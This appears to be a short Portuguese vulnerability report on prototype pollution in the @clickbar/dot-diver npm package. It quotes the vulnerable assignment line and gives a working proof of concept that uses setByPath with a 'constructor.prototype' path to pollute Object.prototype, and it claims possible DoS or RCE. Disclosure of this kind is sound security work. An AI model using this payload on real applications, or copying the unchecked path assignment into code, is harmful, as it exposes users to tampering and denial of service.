
pp
Esta é uma vulnerabilidade de Poluição de Protótipo (PP) no dot-diver. Pode levar a RCE.
código vulnerável
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
prova de conceito
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
É Poluição de Protótipo (PP) e pode levar a DoS, RCE, etc.